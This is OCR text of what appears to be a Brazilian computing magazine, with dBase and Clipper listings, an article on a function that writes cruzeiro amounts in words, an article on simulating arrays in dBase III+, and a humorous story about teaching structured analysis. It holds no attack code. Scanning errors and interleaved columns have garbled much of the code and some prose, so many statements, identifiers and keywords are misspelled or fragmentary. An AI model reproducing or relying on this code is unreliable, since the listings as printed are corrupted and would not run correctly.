AND1=SUBSTR (DATAL,7,2)
ANO="15"+ANDL
RESP=SPACE(1)
DO WHILE RESP <3 "S" .AND. RESP <> “N“
& 20,8 SAY "ANO = "+AND+" (S/N) ?" GET RESP PICT “!®
READ ]
ENDDO
e 20,8
IF RESP="N"
AND=SPACE (4)
@ 20,0 SAY "Entre com o Ano Correto: * GET ANO FICT "999%"
READ
ENDIF
e 20,0
DIA=SUBSTR(DATAL,1,2)
MES=SUBSTR (DATAL,4,2)
DIAZ=VAL (SUBSTR{DIA,1,1))+VAL (SUBSTR(DIA, 2,13}
DIAI=VAL (SUBSTR(STR(DIATS,2),1,1) ) +VAL (SUBSTRISTR{(DIAZ,2),2,1))
MES1=vaL {SUBSTR{MES, 1,1} )+VAL (SUBSTR(MES,2,1))
ANDZ=VAL (SUBSTR (AND, 1,1} }+VAL {SUBSTR (AND,2,1) 1 +3
VAL (SUBSTR (AND, 3, 1) ) +VAL (SUBSTR (AND, 4, 11)
ANDZ=VAL {SUBSTR (STR(ANDZ,2) , 1,1} ) +VAL (SUBSTR (STR(ANDZ2,2) ,2,1))
AND4=VAL (SUBSTR (STR(ANOSZ,2) ,1,1) ) +VAL (SUBSTR(STR (ANDS,2) ,2,1))
DEST1=ANO4+DIAL+MESL
WDEST=LTRIM(STR (DEST1,5}}
TDEST=LEN (VDEST)
DESTZ=B
RDEET=2
DO WHILE RDEST < TDEST
ADEST=VAL (SUBSTR {VDEST, TDEST-RDEST, 1)
DEST2=DESTZ+ADEST
RDEST=RDEST+1
ENDDO
VDESTS=LTRIM(STR(DESTZ,2})
TDESTS=LEN (VDESTS)
DEST3=2
RDEST3=0
DO WHILE RDESTS < TDESTS
ADESTS=VAL (SUBSTR (VDESTS, TDESTS-RDESTS,1))

DESTS=DESTS+ADESTS
RDEST3=RDEST3+1
ENDDO
@ 18,8 SAY “DESTIND = "+STR(DEST1,3}+" = ";
+8TR(DEST2,2)+" = “+STR(DESTS,2)
SET CONSOLE OFF
WALT

=T CONSOLE ON
IF VOBAISS <>
REFLACE MOTIVACAD WITH YOGAIST

REPLACE MOTIVACAD WITH VOBAIS
ENDIF
IF CONSOAZ <> @

REPLACE PERSOMALID WITH CONSOAS
ELSE

REFPLACE PERSONALID WITH CONSOA
ENDIF i

REPLACE CARATER WITH EXFR4, DESTINO WITH DESTZ

VALCON="ALCON+Z
MUMI=NUMIT+ 1
CASE LETRA = "D" .0OR. LETRA = "M" .OR. LETRA = "w"
YALEON=VALCON+4
MUMA=NUMA-+1
CASE LETRA = “N" .DR. LETRA = “W"
el T l=UaL CON+S

ENDDD
CLOSE DATA
CLEAR

SET TALK ON

SET STATUS

on

SET BELL ON

RETURN
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A funcdo que faltava

Veja como obter valores numéricos por extenso
e dé por encerrada a tarefa de amansar o Ledo

André Luiz Lopes Sant’Ana e Marcos Guterres Alves

A matéria da edico anterior intitu-
lada ““Como amansar o Ledo” mencio-
nou que neste namero seria publicada
uma funcdo que, a partir de um valor
passado como parametro, retornava
o extenso correspondente em cruzei-
ros. Conforme prometido, neste artigo
sera descrita esta func3o. Ela deve in-
teressar a muitos programadores gue
ja quebraram a cabeca tentando criar
algo parecido, mas esbarraram na
grande quantidade de condicbes que
a funcdo exige para gue o extenso seja
retornado corretamente.

Em primeiro lugar, veremos algu-
mas caracteristicas da funcéo:

- A funcéo retorna o extenso de
quantias entre Cr$§ 0,00 e
Cr$999.999,99 porém, com algumas
alteracdes, ela pode funcionar perfei-
tamente com qualquer quantia;

- Esta funcdo é de uso geral, isto
é, pode ser usada por qualquer pro-
grama, ndo se restringindo apenas ao
SISTEMA DE IMPOSTO DE RENDA
(sistemna descrito em ““Como amansar
o Ledo”);

- Caso seja passado um 0 (zero)
como parametro, a fungdo retornara
a uma string vazia;

- Foram tomados os devidos cuida-
dos com o singular e o plural da uni-
dade monetaria corrente. Logo, se for
passado como pardmetro o valor 1
(um), a string de retorno sera UM CRU-
ZEIRO e n3o UM CRUZEIROS. Do
mesmo modo, se for passado 0.01
como parametro, seré retornada a
string UM CENTAVO, no singular;

- A funcdo ndo testa se o numero
entrado esta na faixa permitida (entre
0.00 e 999.999,99). Fica a cargo do pro-
gramador julgar a necessidade ou néo
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de fazer esta alteracao, pois ele &€ quem
sabe qual a faixa de valores que sera
obedecida pelo seu programa;

- Caso algum dia (espero que nunca)
seja novamente mudada a unidade
monetaria em vigor, bastara o progra-
mador editar a funcdo e alterar as
strings correspondentes as unidades
monetarias conforme necessario.

Este & um breve resumo do conte-
udo de cada variavel da funcéo:
STRN - Contém o numero transfor-
mado em string. A string é preenchida
com zeros A esquerda, caso seja ne-
cessario.

SIZE - Corresponde & quantidade de
digitos do numero.

CM - Centena de milhar.

DM - Dezena de milhar.

UM - Unidade de milhar.

CT - Centena.

DZ - Dezena (também usada no cal-
culo dos centavos).

UN - Unidade (também usada no cél-
culo dos centavos).

EXT - String que contém o extenso
do valor desejado.

RESP - String de retorno das funcoes
que sdo chamadas para formar o ex-
tenso do valor desejado.

Veja, a seguir, a depuracdo dos prin-
cipais trechos da funcéo:

SET POINT TO “*
Este comando é indispenséavel para
o perfeito funcionamento da funcao.

STRN =
SUBSTRI(STR(NUMBER,9,2)

A variavel STRN recebe o valor
transformado em string de tamanho
9 e com duas casas decimais.

STRN = REPL(”0",9-SIZE) + STRN

STRN recebe a string, porém séo
colocados tantos zeros quantos forem
necessarios para que a string tenha ta-
manho 9. Por exemplo: a string
11234.00"" se torna “001234.00".

CM = SUBSTR(STRN,1,1)

UN = SUBSTRI(STRN,6,1)
Pega cada algarismo do niimero em
questdo.

EXT = CENTENA (CM,DMUM) +
DEZENA(DM.UM) + UNIDADE
(“’S*.DM,UM)

Este trecho forma o extenso da
parte de milhar do nimero chamando
as funcdes de formacdo de string. O
' na funcéo unidade é um flag que,
quando esta setado, como € o caso,
ativa o funcionamento do “HUM" para
que nao haja problemas de ortografia.

IF LEN(EXT)»0
EXT = EXT + “MIL “
IF CT «»” 0" .AND .DZ = “0" .AND.

UN —= llofl’
EXF = EXT {5 Es
ELSE

IF CT «»“0’" .OR. DZ«»"'0"" .OR.
UN«»'0*

BNV EXT Ear

ENDIF

ENDIF
ENDIF

Este trecho completa a primeira

parte da string. Caso o tamanho de
EXT seja maior do que zero, indicando
que a string ja tem algum contetdo,
adiciona ‘MIL” a string. Se a centena
for diferente de zero e a dezena e a uni-
dade forem iguais a zero, adiciona “E"
a string. Se a centena for diferente de
zero, e a dezena ou a unidade (ou am-



bas) também forem diferentes de zero,
adiciona ", a string. A explicac3o disso
se deve ao seguinte: quando temos
nameros em que a dezena e a unidade
s8o iguais a zero e a centena é dife-
rente, como é o caso de 11.100 ou
2.300, nés escrevemos ONZE MIL E
CEM CRUZEIROS e DOIS MIL E TRE-
ZENTOS CRUZEIROS. Quando a de-
zena ou a unidade, ou as duas, forem
diferentes de zero, nos escrevemos
com "". Por exemplo: 1.123 e 5.607 e
sdo grafados HUM MIL, CENTO E
VINTE E TRES CRUZEIROS e CINCO
MIL, SEISCENTOS E SETE CRUZEI-
ROS.

EXT = CENTENA (CM,DM,UM) +
DEZENA (DM,UM) + UNIDADE
("N”,DM,UM)

Este trecho forma o extenso da
parte da unidade do numero, cha-
mando as fungdes de formacdo da
string. Neste caso o flag da funcdo de
unidade est4 desativado, pois n3o es-
crevemos HUM CRUZEIRO e sim UM
CRUZEIRO.

IF SUBSTR(STRN,1,6) = ""000001""
EXT = EXT + ""CRUZEIRQ”
ELSE

IF LEN(EXT) » 0

EXT = EXT + ""CRUZEIROS"
ENDIF

ENDIF

O conjunto de decisdes acima co-
loca a unidade monetéria no extenso.
Se a parte inteira do valor for igual a
um, a unidade ficara no singular, caso
contrario efetuamos outro teste para

ver se o tamanho da string de retorno
€ maior do que zero (ndo havendo ex-
tenso, o nimero é zero) e colocamos
a unidade monetaria no plural.

IF SUBSTR(STRN,8,2) » ""00"
Se a parte fracionaria do nimero
for maior que zero...

=—£sta funcdo é
de uso geral,
podendo ser
usada por
qualquer
programa

DZ = SUBSTR(STRN,8,1)
UN = SUBSTR(STRN,9,1)

-..pega a dezena e a unidade do nd-
mero.

IF LEN(EXT)»0
EXT = EXT + "E”
ENDIF

Se o tamanho da string for maior
do que zero (o ndmero é maior do que
zero) adiciona ""E”" 3 string (tantos cru-
zeiros "'E" tantos centavos).

EXT = EXT + DEZENA (ZD,UN) +
UNIDADE (“N",DZ,UN)

Calcula o extenso da parte fracio-
naria do namero. Neste caso o flag da
funcdo unidade também estad desli-
gado, pois hdo existe HUM CENTAVO.

EXT = EXT +
IIF(SUBSTR(STRN,8,2)="01""""CEN-
TAVO""CENTAVOS")

Completa o extenso colocando a
terminac&o fracionaria da unidade mo-
netaria corrente na string. Aqui tam-
bém s&o respeitados o plural e o sin-
gular da unidade monetaria.

ENDIF
Finaliza o IF. A string est4 pronta.

RETURN(EXT)
Retorna a string.

Eis o cédigo de chamada da funco:
NUM = 102955.91
A = EXTENSO(NUM)
?A

Para finalizar, ndo esqueca de exe-
cutar os seguintes comandos antes de
usar a funcio:
SET DEBUG OFF
SET TRAP OFF
SET TALK OFF [ 3

MARCOS GUTERRES FERREIRA ALVES
€ Tecnélogo em Processamento de Da-
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ANDRE LUIS LOPES SANT'ANA & Tec-
nélogo em Processamento de Dados e
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e Funcao EXTENSO

*  funcad =
*  AUipres & yes § Ar S =
= Data H %
£ tsta funcan recs *
% & retorna o 2

FUNCTIDN EXTENSD

PHARANETERS NUMBER
FRIVATE STRN.CM,DM,UM.CT.DZ.UN.EXT.5TZE
SET PODINT 70 A

LTRIKISTRINUNBER. 2,20}

+ STRN

+ DEZENACDA.URY +

YoM CAND.

DZLxn0"

JOR. UN<EMO®

+ CENTEMA(CT,.DZ.UN) + DEZENA(DI,UN]

ELSE
IF SUBST
EXT =
EMDIF
ENDIF

RETURN

CEXT)

FUNCTION CENTEHRS
PARANETERS C.D.U

PRIVATE RESP.C,D.U
D0 CASE
CASE L = IO
RESP
CASE C
=6 JAND. U o= MO¢
RESP = "CEM "
ELSE
RESP = “CEWTOD *
ENDIF
CASE L= m2"
RESF BUZENTOS *
CASE C = "3¢
REGP = "TREZENTOS "
CRSE! [ =i7tgt
RESPF = "QUATROCENTOS "
CaSE C = "o"
RESP = "BUINHENTDS "
CASE € = "&"
RESP = “SEISCENTOS
CASE C i
RESP = “SETECENTOS "

+ URIDADEY

UNTDADE (5" DM UNG

g

S DZS UMY

CASE C = "a"
RESP DITOCENTOS "
CRSE C = “2¢
RESP = "NOVECENTOS "
ENDCASE
IF (D>"0" .OR. U>"0") _AND. C>"0"
BESP=RESP SR SER S
ENDIF
RETURN {RESP}

FUNCTION DEZENA

PARA

PRIVATE RESP.D.U

Dad CAHSE
CASE D = "o
REGE: =M%
CASE D = "1"
D0 CRSE
CASE U =
RESP =
CASE U =
RESP = i
CASE U =
RESP = 2
CHSE U =
RESP = “TREZE
CASE U = "4"
RESP = "QUATDRZE “
CABE U = “5"
RESP = “BUINZE
CASE U = “&"
RESP = “DEZESSEIS °
CASE U = "7
RESP = "DEZESETE
CASE [ = "8
RESP =  "DEZOITO “
esront
5P = “DEZEWOVE *

TENTA
YDITENTA
(-1 D g
RESP. = "NOVENTA
ENDCASE
IF D>"1" .AND. 2
RESP =i RESP & “E"
ENDIF
RETURN {(RESF)

CASE U = "@¢
RESF = “NOVE ™
ENDCASE
RETURN (RESP?

FUNCTION |‘“1'D1DV

METERS D.U

= “TRINTH "
§E D= M4

UAREHTA "

'LNQUENYA J

ESEENTA "

“BUATRD "

i

"CINCOD "

i

= "SELS
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Simulacdo de matrizes

Implemente seus programa em dBase com esta técnica

de simulacdo de matrizes

Mauro Steigleder

Vocé ja deve ter se deparado varias vezes com situacdes
que necessitem o uso de matrizes e, obviamente, ter per-
cebido o quanto é desconfortavel e trabalhoso resolver a
situacdio sem o auxilio destas, principalmente se a dimencéo
da matriz é definida durante a execucdo do programa atra-
vés de uma ou mais variaveis gue possuem um valor sem
limite prévio. A situacdo torna-se ainda mais trabalhosa
" se a dimens3o da matriz & muito grande, exigindo um nu-
mero imenso de variaveis a serem definidas e, conseqiien-
temente, uma enorme quantidade de espaco perdido no
programa. O dBase lll+, o dBase ll e 0 I1l, ndo possuem
nenhum comando ou fungdo que manipule matrizes,
mesmo as unidimensionais; ent&o o que se pode fazer para
resolver tal problema com o menor trabalho possivel?

O dBase Ill+ possui uma funcdo denominada macro
(&) cuja finalidade & substituir o nome da variavel pelo seu
contetido. Um exemplo claro do funcionamento desta
funcdo poderia ser o seguinte:

. QUANT = 12345
12345

. X = "QUANT”
QUANT

28X

123.45

Inicialmente armazena-se qualquer valor na variavel
QUANT e cria-se uma variavel intermediaria (no caso X),
cujo valor é a string “QUANT". Desta forma a funcdo ma-
cro simplesmente substitui o valor da variavel intermedia-
ria X pelo seu contetdo, ou seja, a string “QUANT", Este
fato resulta em substituir ? &X por ? QUANT (observe que
a funciio macro somente pode ser usada substituindo uma
variavel caracter). Tendo bem clara essa idéia sobre a funcéo
macro, podemos comegar a explicar como simular uma
matriz no dBase llI+.

Comecamos inicialmente criando uma variavel-indice
{por exemplo IND), cujo valor numérico pode variar entre
zero e a dimens3o da matriz (por exemplo MAT) e adicio-
namos o valor (transformado para string) da varivel-indice,
colocando o resultado em uma variavel intermediaria. Pode
se fazer como no programa ao lado:
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ind = 0 && indice inicial da matriz

DO WHILE ind <= 9 && a dimensfo da matriz é 9

matx = “MAT"+STRlind,1} && varidvel intermedidria contém
&matx = “Micro Sistemas” o nome da matriz e 0 seu indice
ind =ind + 1

ENDDO

SUSPEND

Que equivaleria ao seguinte programa em Basic:

DIM MATS(9)

FORIND=0TO 9

MATS({IND) = “Micro Sistemas”
NEXT IND

END

Ou seja, o programa poré a string ““Micro Sistemas"’
em todos os elementos entre 0 e 9 da matriz MAT.

Entretanto deve-se tomar muito cuidado pois, para ca-
sos em que a dimens&o da matriz é superior a nove, deve-
-se fazer uma pequena rotina de converséo de valores, ja
gue uma varidvel ndo pode conter espacos nNo seu Nome.

Essa rotina de conversdo pode ser semelhante a rotina
abaixo:

a) Se a dimens3o for inferior a 100:

IFind < 10

indx = STRlind,1) && valores entre 0 a 9
ELSE

indx = STR(ind,2) && valores entre 10 a 99
ENDIF

b) Se a dimens&o for inferior a 1000:

IFind < 10
indx = STRIind,1) && valoresentre 0 e 9
ELSE
IF ind < 100
indx = STRlind,2) &#& valores entre 10 e 99
ELSE
indx = STRIind,3) && valores entre 100 e 999
ENDIF
ENDIF

rﬁ———-—-—
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SET TALK OFF

DO WHILE ponteiro <= dimensao
IF ponteiro < 18
indx=5TR(ponteiro,l)

E
indx=8TR({ponteiro,2)

ERDDO

=ik HOTINA DE ORDENACAD®®k#dk

DD WHILE ponteire <= dimensac - 1
IF ponteiro < 8

indxl = 5TH(ponteiro,l)
indx2 = STR{ponteiro+1,1)

IF ponteiro = 9
indxl = "8°

SET STATUS OFF 3 ELSElndxz a1
SET DECIMALS TO 2 oA I e
g?:egggilfﬂsg:cacb ENDIéndﬂ = STR(ponteiro+l,2)
ponteirc = @ e
intermed i @ ERR e
fiad A matxZ = "HAT"+indx2
*#+¥ROTINA DE ENTRADA DOS DADDS=x 1% &?itzim;dﬁgag:;txa
Ematx2 = &matxl
EBE:gzLE G2 kmatxl = intermed
@4,10 SAY "Quantos numeros quer ordenar” GET dimensac ZNDI_ELEE =
READ ok ’
dimenzao = VAL{dimensao) S Pantmro ponteiro + 1
dimensao = dimensao - 1 ENDDS
IF dimensto > @ z
rNDIEXTT #x++x£A0TINA DE IHPRESSAD®®¥*xk
gg?\ﬁg ponteira = @

clear
gra 0s valores em ordem crescente sao:”
DO WHILE ponteiro <= dimenszaoc
IF ponteire ¢ 10

indx = S5TR(ponteiro,1)

ELSE
ENB’IE_ %) indx = STR(ponteiro,Z)
;atx- AT +indx ENDIF
matx = = “HAT"+i
INFUT ~ Digite o "#STR(penteiro+1,2)+"o. numero: * TO Ematx i ﬁf;rﬁzgg::x,m,z)
ponteiro = ponteiro +1 ponteirc & @

IF ponteiro/22=IRT(ponteiro/22} .AND. dimensac>23 .AND.

conf = "
SET CONEFIRM OFF
®24,34 SAY "Tecle algo” GET conf

READ
DO WHILE flag CLEAR
ponteiro = EHDIF
flag = ponteiro = ponteirp + 1

ENDDO
RETURH

Figura 1

E assim por diante até o valor desejado. A mesma téc-
nica pode ser utilizada para matrizes bi e tridimensionais,
somente mudando a quantidade de varidveis-indice a se-
rem somadas a variavel que contém o nome da matriz.
Entretanto, deve-se ressaltar que as variaveis no dBase Il +
podem ter somente uma extensdo de 10 caracteres. As-
sim, deve-se atentar para o tamanho da variavel interme-
diaria.

Segue, na figura 1, um programa demonstrativo de como
se pode simular uma matriz. O programa pede um nu-
mero entre 1 e 99 (que serd a dimens&o da matriz), e logo
apos pede para entrarmos com todos os valores desta ma-
triz. Entdo ordena-a em ordem crescente e a seguir im-
prime os seus valores ordenados, parando a cada tela cheia
e esperando que se tecle algo. E um programa classico
sobre matrizes mas que serve muito bem para ilustrar a

simulacdo destas no dBase Il +.

Ao rodar o programa no dBase Ill+, com o comando
DO, ndo se assuste se 0 programa aparentar ter “trancado”,
pois a funcdo macro torna 0 programa um pouco mais
lento. Caso vocé insira um valor relativamente alto para
a dimensdo da matriz, a ordenacdo demorard bastante,
mas, se vocé possui compilador CLIPPER, a velocidade
do programa se elevara significativamente.

Bem, se vocé agora tem uma idéia de como se pode
simular uma matriz no dBase I+, ja pode implementar,
melhorar e tornar muito menos trabalhosos os seus pro-
gramas em dBase Il +. |
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SomeWare

Uma visdo humana e bem-humorada sobre o aprendizado
de temas cruciantes da informética

Ricardo Ghirlanda

Dificil. Desesperadora. O instrutor
via assim a situac8o em que se colo-
cara ao aceitar a miss&o de incutir nos
empregados da SomeWare, empresa
de desenvolvimento de sistemas, os
conceitos basicos de metodologia es-
truturada, métrica, CASE e inteligén-
cia artificial.

- Estruturada no qué, mesmo?

Alberto, atrasado para o inicio da
primeira aula, nem imaginou que a me-
Ihor coisa a fazer era ficar invisivel no
fundo da sala de reunides, transfor-
mada em sala de aulas durante aquela
semana. Ele ndo via, como os demais
empregados da SomeWare, o menor
sentido em estar ali. Afinal, ja tinha
seis anos de experiéncia em desenvol-
vimento de sistemas. Menos que Ba-
riccelli, neto de italianos, que jurava
que “melhor que uma pizza, 6 duas!”
e ja apresentava um curriculum de 9
anos, sem contar o tempo que havia
gasto na universidade num curso in-
completo de administragéo, onde teve
seu primeiro contato com um compu-
tador e descobriu que preferia
programé-lo a usé-lo como ferramenta.

Havia o tal de Charles (por alguma
razdo o instrutor achava que aquele
nome era apelido), especialista em co-
municacdo de dados. Pelo menos foi
‘assim que ele se apresentou (era so-
brinho do dono).

Delamarte era o “boy". Garoto in-
teligente e esforgado, estava tendo
uma chance de passar a integrar a
equipe de desenvolvimento da Some-
Ware.

Havia dois outros, Edu e Fred, plei-
teando um estagio, vélido para o curso
de graduacdo que faziam.

40 MICRO SISTEMAS

Zelda era a secretaria. O instrutor
n3o sabia o que ela estaria fazendo ali.
Mas estava presente.

O instrutor recomegou:

- “Estruturada” é a metodologia de
especificaco, anélise, desenvolvi-
mento e implantacdo de um sistema.
Dependendo de como a anélise for es-
truturada, o sistema que o cliente - 0
usuério - encomendou, pode vir a ser
uma maravilha: ndo s atendendo a
todos os seus pedidos mas incluindo
facilidades que nem imaginaria possi-
veis. Pode vir a ser um elefante branco,
dificil de ser implantado e operado,
como pode, simplesmente, nem che-
gar a ser, a existir.

Falou de um sé félego, achando que
havia plantado alguma semente.

- Estou me lembrando daquele sis-
tema que a Tecidos Guanabara queria
para controle de estoque. Até hoje fa-
zemos manutencgdo no miseravel...

- Que manutencio, que nada, Al-

berto, corrigiu Bariccelli, o nome & “re-
mendo’, mesmo.

Bem. Pelo menos a interrupgéo
mostrava que o interesse despertado
poderia ser canalizado para...

- P8, caral Como € que eu ia la sa-
ber que o sujeito aos poucos come-
caria a pedir um monte de relatérios?!

- Professor, envenenou Charles, um
trabalho de analise melhor elaborado
ndo poderia prever todas as necessi-
dades do cliente?

- Certo! Era por ai que eu gostaria...

- Eu aposto que eu perceberia, lo-
guinho, as necessidades do cliente...

Depois das risadas sem graca pelo
aparte de Zelda, o instrutor continuou:

- O processo de levantar as neces-
sidades do usuério, as vezes desco-
brindo que podemos auxilid-lo ainda
mais do que ele proprio imaginaria pos-
sivel, através de reunides sistematicas,
¢ parte da analise estruturada. Veja-
mos o seguinte: reunides informais,
sem uma espécie de ata, limitam o ana-
lista & sua memoéria. Mesmo que néo
se imponha muita formalidade, & pos-
sivel se valer da ata (que sera mais
tarde, além de fonte de informagdes,
um documento defensivo), somada a
uma ferramenta que descreva grafica-
mente o fluxo dos dados, conforme
eles forem aparecendo no dialogo do
cliente com o analista. Esta ferramenta
pode passar a ser de uso comum en-
tre o analista e o cliente - desde que
seja facilmente compreendida, sem
chance de interpretacdes dibias, nem
de componentes dificeis de serem
apontados mais tarde, durante um con-
tato telefénico. Tom de Marco é muito
bom em sua...

- Tom de que?! Tipo marco de es-
trada? Verde? E algum tipo de papel?
Um formulario especial?

Q instrutor teve que dar duas ou trés
respiradas. Afinal Zelda néo tinha
culpa... A culpa era dele mesmo por
ndo ter proposto uma selecdo da au-
diéncia.

- Tom de Marco, um brilhante pales-
trista, de idéias claras e organizadas,
uniu forcas com uma empresa, a Your-
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don Inc. e... se vocé quer saber, Zelda,
dono da colegdo de gravatas mais vis-
tosas que ja se viu... Mostrou ser um
lider de primeira linha quanto a semi-
ndrios, capaz de se expressar com uma
franqueza tremenda e de uma vontade
imensa de aprender com seus alunos.
Em seu livro “Anélise Estruturada e Es-
pecificacdo de Sistemas’;, apresentou
o gue ele achava que seria uma boa
ferramenta grafica para mostrar como
os dados caminhavam por um sistema.
Ele a chamou de DFD (escreveu as le-
tras no quadiro atras de si). Estas letras
sdo as iniciais de Diagrama de Fluxo
de Dados. Diferente dos fluxogramas
que vocés estdo acostumados a ver
e cansados de desenhar, os DFD mos-
tram fluxos de dados e ndo os contro-
les sobre os dados. Ndo importa como
os dados sdo processados mas, sim,
por onde eles passam.

- Mais ou menos como ‘‘a pizza é
feita com o qué”, ao invés de “prepara-
-Se uma pizza assim e assado’’, certo?

- Isto, Bariccelli! Mas trata-se, ape-
nas, de uma das ferramentas a dispo-
sicdo de um analista de sistemas na
primeira fase do seu trabalho: a de le-
vantamento das necessidades do
cliente, demarcando onde cada dado
entra em campo.

- Ahl... Este Marco deve ser joga-
dor de futebol... Serd que alguma das
suas gravatas é assinada pelo Falcdo?
Que gracinhal...

O instrutor nem virou o olhar para
a Zelda.

- Muito bem. De posse do material
(as atas das reunides e dos DFD dis-
cutidos com o cliente} e do seu pro-
prio sentimento a respeito do cliente,
o analista d& inicio a fase de anélise
dos dados. Esta fase é critica e ele
deve,
sempre que achar necessario, tornar
a entrar em contato com o cliente de
modo a ndo restar qualquer davida a
respeito de algum dado ou se perceba
que algum dado foi omitido pelo
cliente.

- Mas o cliente pode deixar de in-
formar alguma coisa? Se isto aconte-
cesse, ele estaria jogando contra ele
mesmo...

- Sim, isto realmente acontece; in-
felizmente, mais vezes do que gosta-
riamos. As vezes por mera distracdo,
as vezes porque o cliente costuma dar

mais valor a determinado dado e me-
nos ou nenhum a outro. Existem di-
versos fatores que levam & omiss3o da
informacédo. Por isso, o especialista
deve analisar com muito cuidado o ma-
terial nesta fase. Qualquer falha neste
aspecto pode implicar em um sistema
que tenha que ser jogado no lixo.

- De volta a velha prancheta?

- Pois é. Ou se sujeitar aos “remen-
dos”, Alberto. Acontece que isto &, no
minimo, contraproducente. O tempo
que um analista emprega fazendo al-
teracOes, certamente poderia estar
sendo utilizado em outros projetos. Na
realidade eu pertenco a escola do
“pense antes”. Como n&o sou privile-
giado com poderes paranormais que

retamente junto ao cliente. Estas en-
tradas se transformam na principal sa-
ida da fase de anélise, o Documento
Alvo, também chamado de Especifi-
cacdo Funcional. Qutras saidas possi-
veis seriam orcamento, cronograma e
qualquer tipo de informagdo quanto
aos requisitos fisicos, necessérios ao
estudo do hardware a ser envolvido.
A Especificac@o Funcional ainda passa
pelo Projeto Preliminar, onde se projeta
o sistema em si, em termos externos
e filosoficos. E nesta fase ainda que
se véem as necessidades de configu-
racdo e desempenho. Durante a fase
de Projeto Preliminar, selecionam-se
os mddulos, desenha-se o fluxograma
(ou algo equivalente), redige-se algum
tipo de namativa sobre cada médulo
e esquematizam-se as areas de dados

= . elo olhar de todos, o instrutor perceb:a que.
hawa captado o interesse pelo assunfo e a
- primeira manifestaco dos dois es(agfanos;

o

me permitam ler pensamentos ou pre-
ver o futuro, prefiro analisar com cui-
dado os dados levantados durante en-
trevistas bem conduzidas, preparar um
Documento Alvo que esteja o0 mais
préximo possivel daquele que meu pré-
prio cliente prepararia se fosse ele o
analista.

Neste ponto o instrutor percebeu
Edu e Fred prestes a se manifestarem
€ esperou.

- Documento Alvo? perguntaram
em unissono.

Gratificante. Pelo olhar de todos, o
instrutor percebia que havia captado
o interesse pelo assunto e a primeira
manifestacdo dos dois estagiarios.

- Documento Alvo é o nome dado
ao documento que especifica o projeto
em termos de funcionalidade. Mas es-
tamos nos adiantando. Em geral, os
resultados dos levantamentos sdo agre-
gados em algo chamado Documento
de Viabilidade, Documento de Requi-
sitos Técnicos ou algum outro nome
assim. Ainda nesta segunda fase, con-
tamos com duas enfradas: o
Documento de Viabilidade e, nova-
mente, o fluxo de dados levantado di-

e tabelas mais importantes. Geral-
mente & nesta fase que sdo prepara-
dos os planos de teste. Finalmente,
vem a fase de detalhac¢do do projeto,
onde aparecem as especificactes dos
programas.

- Professor! Se os planos para tes-
tes ja sdo definidos durante a fase dita
“preliminar”, os programas ainda néo
estdo especificados, certo? Entdo
como se pode saber o que testar nos
programas?

A pergunta de Alberto certamente
era um bom gancho para que o instru-
tor propusesse o fim das atividades do
dia, deixando a sugestéo para que os
outros tentassem, cada um por si, res-
ponder. Prometeu que no dia seguinte
explicaria esta situacdo e, veriam, se-
ria o melhor momento para isto. Cer-
tamente ndo lhe faria mal que o rapaz
se pavoneasse um pouco Com 0S COo-
legas por ter, como acreditava, ‘‘encos-
tado o professor na parede’’.

¥ % %

No dia seguinte, apesar da turma
nem ter se preocupado com o0 mo-
mento exato para se definir os planos
de teste, o instrutor apresentou a se-
guinte figura: | 2
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- Imaginem, comegou, que este de-
senho simbolize os passos que um ana-
lista deva dar durante seu trabalho para
um cliente. (E passou a explicar deta-
Ihadamente cada item do desenho, res-
saltando que as setas mostravam 0s
fluxos dos dados e que os circulos sig-
nificavam alguma atividade do ana-
lista.)... Reparem gue durante o Pro-
jeto Preliminar, ainda se tem uma visdo
do todo, visio esta que ndo é dada ao
programador. Ele ndo tem como sa-
ber o que o cliente precisa. Sabe ape-
nas que seu programa tem tais entra-
das, que as processa de tal ou tal
modo, fornecendo tais saidas. Mas o
que para ele parecem boas saidas, po-
dem ser apenas lixo para o cliente. Uma
frase muito comum, certamente cu-
nhada por um analista querendo se jus-
tificar por um mal projeto, diz que “‘se
entra lixo, sai lixo. No entanto, por um
descuido deste analista, um programa,
apesar de bem confeccionado, pode
ter bons dados de entrada e néo for-
necer boas informacdes. Meramente,
é bom frisar, por falta de visdo do todo.

O instrutor sabia que, mesmo fin-
gindo n3o se lembrar da colocacéo de
Alberto, havia dado sua réplica. Mais
ainda: havia feito isto sem colocar Al-
berto contra ele. Notara seu movi-
mento desconfortavel na cadeira, re-
parou como acende 1 o cigarro, sem
pressa, talvez pensando nas mesmas
coisas que ele.

Apresentou aos alunos o retédngulo,
representando entidades externas e o
par de retas paralelas, gue seriam os
depositos de dados ou arquivos.

E continuou sua aula, explicando
o resto do ciclo de vida de um projeto
tradicional, apenas para que, fazendo
correlagdes, os alunos pudessem ver
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mais qualidades na estruturacéo,
mesmo nas fases de codificacéo,
teste de unidades, teste de subsis
temas, integracdo, teste de sistema,
teste de aceitacdo ou homologacéo,
terminando por conselhos durante a
fase em que o sistema entraria em
producdo normal, j& com o cliente
treinado, sendo assistido pela em-
presa.

* %%

No dia seguinte, depois de propor
os formularios de Elementos de Dados,
de Nome de Fluxo de Dados, de En-
tidades Externas, de Descri¢édo do Pro-
cesso, de Deposito de Dados e outros
que os proprios alunos idealizaram
como de Acompanhamento de Fases,
Anotacdes sobre os Testes e Propo-
sicbes de Melhorias, o instrutor pas-
sou a falar sobre um assunto que os
mais chegados & arte da profisséo de-
testam: métrica.

- Um dos maiores problemas que
paira como fantasma sobre um projeto
é a atividade de dimensionamento dos
recursos necessarios ao desenvolvi-
mento de um sistema. A falta de fer-
ramentas para nos ajudar a estimar
tempo, dinheiro, nimero de pessoas
envolvidas, etc, nos leva a inventar fér-
mulas maégicas...

- Ih, professor! Ainda bem que o se-
nhor falou de mégica e me lembrou:
tenho hora marcada com minha astro-
loga. Se me dé licenca...

E 14 se foi a Zelda, balancando-se
corredor afora sobre seu par de saltos
agulha, acompanhada pelo olhar em-
basbacado do instrutor.

- Bem. A magica... ndo! As férmu-
las magicas s8o, na realidade, tentati-
vas de se estimar, a priori, o custo to-
tal do projeto. Afinal o departamento
comercial da empresa de desenvolvi-
mento de sistemas precisaria apresen-
tar uma proposta ao cliente antes de
comecar a trabalhar no projeto. Nem
¢ bom pensar no que aconteceria a
uma empresa que sempre sub ou su-
perestimasse seus custos! Por néo se
ter qualquer base matemaética para tais
estimativas o que acontece é que, nor-
malmente, as propostas apresentam
uma certa dose de exagero em seus
custos. O suficiente para que o cliente
ainda a aceite, mas ndo cara demais,
a ponto de nunca se ter clientes. Para
uma empresa que esta comecando,
esta & uma das partes dificeis. A forma
mais utilizada pelas empresas mais ex-
perientes € baseada no seu préprio his-
torico. Analisando-se seus orcamentos
passados, estima-se um valor cada vez
